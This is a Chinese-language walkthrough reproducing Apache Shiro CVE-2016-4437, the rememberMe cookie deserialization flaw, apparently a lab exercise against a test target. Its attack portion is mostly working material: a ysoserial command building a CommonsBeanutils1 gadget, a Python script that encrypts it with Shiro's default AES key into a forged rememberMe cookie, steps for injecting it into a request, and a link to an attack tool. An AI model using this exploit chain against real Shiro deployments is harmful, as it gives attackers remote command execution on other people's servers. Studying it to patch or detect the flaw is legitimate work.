shiro-cve2016-4437漏洞复现

一、漏洞特征
Apache Shiro是一款开源强大且易用的Java安全框架,提供身份验证、授权、密码学和会话管理。Shiro框架直观、易用,同时也能提供健壮的安全性。
因为在反序列化时,不会对其进行过滤,所以如果传入恶意代码将会造成安全问题
在 1.2.4 版本前, 加密的用户信息序列化后存储在名为remember-me的Cookie中,而且是默认ASE秘钥,Key: kPH+bIxk5D2deZiIxcaaaA==,可攻击者可以使用Shiro的默认密钥伪造用户Cookie,触发Java反序列化漏洞,进而在目标机器上执行任意命令。
而在1.2.4之后,ASE秘钥就不为默认了,需要获取到Key才可以进行渗透
总结一句话:ASE秘钥不能使用已知的外部秘钥,不能泄露秘钥。

影响版本Apache Shiro <= 1.2.4
漏洞特征:
shiro反序列化的特征:在返回包的 Set-Cookie 中存在 rememberMe=deleteMe 字段
进入后可以看到有remenber me的登录首页
shiro-cve2016-4437漏洞复现_第1张图片

二、漏洞复现
1.登录抓包拦截
同时勾选remenber me
shiro-cve2016-4437漏洞复现_第2张图片shiro-cve2016-4437漏洞复现_第3张图片

2.生成ser文件
使用ysoserial生成CommonsBeanutils1的Gadget
java -jar ysoserial-master-SNAPSHOT.jar CommonsBeanutils1 “touch /tmp/succ123” > poc.ser
shiro-cve2016-4437漏洞复现_第4张图片

3.使用poc生成payload

import sys
import uuid
import base64
from Crypto.Cipher import AES
 
def encode_rememberme():
    f = open('poc.ser','rb')
    BS = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
    iv = uuid.uuid4().bytes
    encryptor = AES.new(key, AES.MODE_CBC, iv)
    file_body = pad(f.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == '__main__':
    payload = encode_rememberme()   
print("rememberMe={0}".format(payload.decode()))

shiro-cve2016-4437漏洞复现_第5张图片

4.将生成的payload替换到请求包cookie中
shiro-cve2016-4437漏洞复现_第6张图片

5.进入搭建靶机的机器,查看生成文件
在这里插入图片描述

三、工具利用
https://github.com/SummerSec/ShiroAttack2
shiro-cve2016-4437漏洞复现_第7张图片shiro-cve2016-4437漏洞复现_第8张图片

你可能感兴趣的:(web安全)